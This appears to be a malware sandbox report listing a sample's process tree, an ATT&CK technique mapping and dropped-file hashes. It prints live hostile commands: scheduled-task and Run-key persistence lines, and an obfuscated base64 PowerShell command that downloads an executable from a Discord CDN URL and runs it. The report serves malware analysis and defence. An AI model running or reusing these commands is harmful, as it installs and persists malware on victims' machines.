  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /C schtasks /create /tn \fds2 /tr "C:\Users\Admin\AppData\Roaming\f32\331.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
      4⤵
      PID:3360
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'dfs1';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'dfs1' -Value '"C:\Users\Admin\AppData\Roaming\f32\331.exe"' -PropertyType 'String'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2056
- C:\Windows\system32\cmd.exe
  "cmd" /C C:\Users\Admin\AppData\Local\Temp\DpVrSTzNdI.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Users\Admin\AppData\Local\Temp\DpVrSTzNdI.exe
    C:\Users\Admin\AppData\Local\Temp\DpVrSTzNdI.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAcQB5ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADEAOAA3ADgAMAA2ADYANgAzADYAOQA3ADIAMwA2ADAAMAA4AC8AMQAxADgANwA4ADAANgA3ADUANgA0ADAAOAAxADQANwA5ADgAOAAvAG0AdQBjAGsAXwBpAHQAcAAuAGUAeABlAD8AZQB4AD0ANgA1ADkAOAAzAGEAMwBmACYAaQBzAD0ANgA1ADgANQBjADUAMwBmACYAaABtAD0ANwA0ADgAZgA4AGIAZgBiADMAZABmADAAOQBmADYAOQA1ADgAMABkAGEANQA4ADYAMwAyADEANQBhADAAOABhAGIAMgAzAGEAMwA5AGEAMgBmADYANQA2ADMAOQBmAGMAYQA4AGYAMwBkADEAYgA2ADUAYQBiAGEAZABlADkANgAmACcALAAgADwAIwB2AHIAcAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGIAagBiACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAdwBiACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADYANwBXAGkAbgBkAG8AdwBzAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACkAKQA8ACMAdABnAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBrAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHoAaAByACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADYANwBXAGkAbgBkAG8AdwBzAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACkAPAAjAHEAbAByACMAPgA="
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2820
    - - C:\Users\Admin\AppData\Roaming\67WindowsService.exe
        
        "C:\Users\Admin\AppData\Roaming\67WindowsService.exe"
        5⤵
        
        PID:5536
      - C:\Users\Admin\AppData\Local\Temp\2Zr2dX46csspGcncKPD8h0MgkaG\Runtime Broker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2Zr2dX46csspGcncKPD8h0MgkaG\Runtime Broker.exe"
        6⤵
        
        PID:1084
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "chcp"
        7⤵
        
        PID:5024
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp
        8⤵
        
        PID:5980
        
        C:\Users\Admin\AppData\Local\Temp\2Zr2dX46csspGcncKPD8h0MgkaG\Runtime Broker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2Zr2dX46csspGcncKPD8h0MgkaG\Runtime Broker.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\vuphhssolhkrwfwq" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1868 --field-trial-handle=1876,i,13471285912979402809,9791034022335403725,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        7⤵
        
        PID:4604
        
        C:\Users\Admin\AppData\Local\Temp\2Zr2dX46csspGcncKPD8h0MgkaG\Runtime Broker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2Zr2dX46csspGcncKPD8h0MgkaG\Runtime Broker.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\vuphhssolhkrwfwq" --mojo-platform-channel-handle=2168 --field-trial-handle=1876,i,13471285912979402809,9791034022335403725,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
        7⤵
        
        PID:5128
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        7⤵
        
        PID:5836

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1960

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn \fds2 /tr "C:\Users\Admin\AppData\Roaming\f32\331.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:1576

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn \F2g3 /tr "C:\Users\Admin\AppData\Roaming\F2g3\F2g3.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:1108

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
#cmd
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2900

C:\Windows\SysWOW64\cmd.exe
"cmd" /C schtasks /create /tn \F2g3 /tr "C:\Users\Admin\AppData\Roaming\F2g3\F2g3.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
1⤵
PID:3900

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'F2g3';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'F2g3' -Value '"C:\Users\Admin\AppData\Roaming\F2g3\F2g3.exe"' -PropertyType 'String'
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3188 -ip 3188
1⤵
PID:1904

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
#cmd
1⤵
PID:4144

C:\Windows\SysWOW64\cmd.exe
"cmd" /C schtasks /create /tn \Gbn1 /tr "C:\Users\Admin\AppData\Roaming\Gbn1\Gbn1.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
1⤵
PID:2992
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /create /tn \Gbn1 /tr "C:\Users\Admin\AppData\Roaming\Gbn1\Gbn1.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
  2⤵
  - Creates scheduled task(s)
  PID:2152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Gbn1';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Gbn1' -Value '"C:\Users\Admin\AppData\Roaming\Gbn1\Gbn1.exe"' -PropertyType 'String'
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4024

C:\Windows\SysWOW64\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:2992

C:\Users\Admin\AppData\Local\Temp\2HDUEZ.exe
C:\Users\Admin\AppData\Local\Temp\2HDUEZ.exe
1⤵
PID:1536
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:3224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

TgGaRENDNj.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\TgGaRENDNj.exe.log
Size 226B
SHA256 2391511d0a66ed9f84ae54254f51c09e43be01ad685db80da3201ec880abd49c
MD5 28d7fcc2b910da5e67ebb99451a5f598
SHA1 a5bf77a53eda1208f4f37d09d82da0b9915a6747
SHA512 2d8eb65cbf04ca506f4ef3b9ae13ccf05ebefab702269ba70ffd1ce9e6c615db0a3ee3ac0e81a06f546fc3250b7b76155dd51241c41b507a441b658c8e761df6
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953
MD5 9faf6f9cd1992cdebfd8e34b48ea9330
SHA1 ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e
SHA512 05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97
MD5 SHA1 SHA512

Submit Download